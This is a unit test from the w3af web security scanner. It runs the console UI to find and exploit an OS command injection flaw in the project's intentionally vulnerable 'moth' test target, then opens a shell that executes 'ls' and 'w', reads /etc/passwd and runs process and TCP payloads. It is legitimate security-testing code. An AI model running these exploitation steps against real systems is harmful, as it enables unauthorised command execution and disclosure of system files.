"""
test_exploit.py

Copyright 2012 Andres Riancho

This file is part of w3af, http://w3af.org/ .

w3af is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation version 2 of the License.

w3af is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with w3af; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
"""
from nose.plugins.attrib import attr

from w3af.core.controllers.ci.moth import get_moth_http
from w3af.core.ui.console.console_ui import ConsoleUI
from w3af.core.ui.console.tests.helper import ConsoleTestHelper


@attr('smoke')
@attr('moth')
class TestExploitConsoleUI(ConsoleTestHelper):
    """
    Run scan and exploit vulnerabilities from the console UI.
    """

    def test_OS_commanding_exploit(self):
        target = get_moth_http('/audit/os_commanding/trivial_osc.py')
        qs = '?cmd=foobar'
        commands_to_run = [
            'plugins',
            'audit os_commanding',
            'output console',
            'output config console',
            'set verbose true',
            'back',
            'back',

            'target',
            'set target %s%s' % (target, qs),
            'back',

            'start',

            'exploit',
            'exploit os_commanding',
            'interact 0',

            'execute ls',
            'execute w',
            'read /etc/passwd',

            'help',
            'lsp',
            'payload tcp',
            'payload list_processes',
            'payload list_processes 20',

            'exit',  # from shell
            'exit',  # from w3af
        ]

        expected = (# start
                    'OS Commanding was found at: "%s' % target,

                    # exploit
                    'Vulnerability successfully exploited. Generated shell object',
                    'Please use the interact command to interact with the shell objects.',

                    # read /etc/passwd
                    'root:x:0:0:root:/root:/bin/bash',
                    'www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin',

                    #lsp
                    'apache_config_directory',
                    'kernel_version',

                    # payload tcp
                    '| Id ',

                    # payload list_processes
                    'Usage: list_processes <max_pid>',

                    # payload list_processes 20
                    '| 1')

        self.console = ConsoleUI(commands=commands_to_run, do_upd=False)
        self.console.sh()

        assert_result, msg = self.startswith_expected_in_output(expected)
        self.assertTrue(assert_result, msg)

        found_errors = self.error_in_output(['No such file or directory',
                                             'Exception'])

        self.assertFalse(found_errors)